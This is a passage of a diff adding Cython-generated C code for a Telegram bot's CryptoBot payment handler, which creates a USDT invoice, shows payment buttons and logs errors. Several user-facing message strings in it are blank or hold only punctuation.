(unlikely(!__pyx_t_2)) __PYX_ERR(0, 113, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_t_2) < 0) __PYX_ERR(0, 112, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":114 + * asset="USDT", + * amount=str(int(amount // RUB_TO_USDT)), + * description=f" {amount} ", # <<<<<<<<<<<<<< + * payload=f"{callback_query.message.chat.id}:{int(amount)}", + * ) + */ + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 114, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = 0; + __pyx_t_14 = 127; + __Pyx_INCREF(__pyx_kp_u__10); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_3 += 22; + __Pyx_GIVEREF(__pyx_kp_u__10); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__10); + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 114, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) : __pyx_t_14; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_11); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_11); + __pyx_t_11 = 0; + __Pyx_INCREF(__pyx_kp_u__11); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_3 += 4; + __Pyx_GIVEREF(__pyx_kp_u__11); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__11); + __pyx_t_11 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_3, __pyx_t_14); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 114, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_description, __pyx_t_11) < 0) __PYX_ERR(0, 112, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/cryprobot_pay.py":115 + * amount=str(int(amount // RUB_TO_USDT)), + * description=f" {amount} ", + * payload=f"{callback_query.message.chat.id}:{int(amount)}", # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_11 = PyTuple_New(3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 115, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_3 = 0; + __pyx_t_14 = 127; + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 115, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_chat); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 115, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 115, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_FormatSimple(__pyx_t_2, __pyx_empty_unicode); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 115, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_13) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_13) : __pyx_t_14; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_13); + __Pyx_GIVEREF(__pyx_t_13); + PyTuple_SET_ITEM(__pyx_t_11, 0, __pyx_t_13); + __pyx_t_13 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_3 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_11, 1, __pyx_kp_u__12); + __pyx_t_13 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 115, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_t_13, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 115, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_14; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_11, 2, __pyx_t_2); + __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_11, 3, __pyx_t_3, __pyx_t_14); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 115, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_payload, __pyx_t_2) < 0) __PYX_ERR(0, 112, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":111 + * + * try: + * invoice = await crypto.create_invoice( # <<<<<<<<<<<<<< + * asset="USDT", + * amount=str(int(amount // RUB_TO_USDT)), + */ + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 111, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L23_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 111, __pyx_L17_error) + __pyx_t_2 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_2); + } else { + __pyx_t_2 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_2) < 0) __PYX_ERR(0, 111, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + } + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_invoice = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":118 + * ) + * + * if hasattr(invoice, "bot_invoice_url"): # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + __pyx_t_4 = __Pyx_HasAttr(__pyx_cur_scope->__pyx_v_invoice, __pyx_n_u_bot_invoice_url); if (unlikely(__pyx_t_4 == ((int)-1))) __PYX_ERR(0, 118, __pyx_L17_error) + if (__pyx_t_4) { + + /* "handlers/payments/cryprobot_pay.py":119 + * + * if hasattr(invoice, "bot_invoice_url"): + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 119, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = NULL; + __pyx_t_6 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_6 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_6, 0+__pyx_t_6); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 119, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":120 + * if hasattr(invoice, "bot_invoice_url"): + * builder = InlineKeyboardBuilder() + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/cryprobot_pay.py":121 + * builder = InlineKeyboardBuilder() + * builder.row( + * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) # <<<<<<<<<<<<<< + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 121, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 121, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_n_u__13) < 0) __PYX_ERR(0, 121, __pyx_L17_error) + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_invoice, __pyx_n_s_bot_invoice_url); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 121, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_13); + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_url, __pyx_t_13) < 0) __PYX_ERR(0, 121, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 121, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_6 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_6 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_13}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_6, 1+__pyx_t_6); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 120, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":123 + * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) # <<<<<<<<<<<<<< + * await callback_query.message.answer( + * text=f" {amount} .", + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 123, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 123, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 123, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_kp_u__2) < 0) __PYX_ERR(0, 123, __pyx_L17_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 123, __pyx_L17_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 123, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_6 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_6 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_5}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_6, 1+__pyx_t_6); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 123, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":124 + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 124, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 124, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":125 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * await callback_query.message.answer( + * text=f" {amount} .", # <<<<<<<<<<<<<< + * reply_markup=builder.as_markup(), + * ) + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 125, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = PyTuple_New(3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 125, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = 0; + __pyx_t_14 = 127; + __Pyx_INCREF(__pyx_kp_u__14); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_3 += 25; + __Pyx_GIVEREF(__pyx_kp_u__14); + PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_kp_u__14); + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 125, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) : __pyx_t_14; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_11); + PyTuple_SET_ITEM(__pyx_t_5, 1, __pyx_t_11); + __pyx_t_11 = 0; + __Pyx_INCREF(__pyx_kp_u__15); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_3 += 8; + __Pyx_GIVEREF(__pyx_kp_u__15); + PyTuple_SET_ITEM(__pyx_t_5, 2, __pyx_kp_u__15); + __pyx_t_11 = __Pyx_PyUnicode_Join(__pyx_t_5, 3, __pyx_t_3, __pyx_t_14); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 125, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 125, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/cryprobot_pay.py":126 + * await callback_query.message.answer( + * text=f" {amount} .", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * else: + */ + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 126, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_13 = NULL; + __pyx_t_6 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_6 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, NULL}; + __pyx_t_11 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_6, 0+__pyx_t_6); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 126, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_11) < 0) __PYX_ERR(0, 125, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/cryprobot_pay.py":124 + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 124, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_11); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L25_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 124, __pyx_L17_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 124, __pyx_L17_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":118 + * ) + * + * if hasattr(invoice, "bot_invoice_url"): # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + goto __pyx_L24; + } + + /* "handlers/payments/cryprobot_pay.py":129 + * ) + * else: + * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< + * except Exception as e: + * logger.error(f" : {e}") + */ + /*else*/ { + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 129, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 129, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_6 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_6 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__16}; + __pyx_t_11 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_6, 1+__pyx_t_6); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 129, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_11); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 7; + return __pyx_r; + __pyx_L26_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 129, __pyx_L17_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 129, __pyx_L17_error) + } + } + } + __pyx_L24:; + + /* "handlers/payments/cryprobot_pay.py":110 + * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_crypto) + * + * try: # <<<<<<<<<<<<<< + * invoice = await crypto.create_invoice( + * asset="USDT", + */ + } + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + goto __pyx_L22_try_end; + __pyx_L17_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":130 + * else: + * await callback_query.message.answer(" .") + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * + */ + __pyx_t_10 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_10) { + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_11, &__pyx_t_1, &__pyx_t_2) < 0) __PYX_ERR(0, 130, __pyx_L19_except_error) + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_e = __pyx_t_1; + /*try:*/ { + + /* "handlers/payments/cryprobot_pay.py":131 + * await callback_query.message.answer(" .") + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_logger); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 131, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_error); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 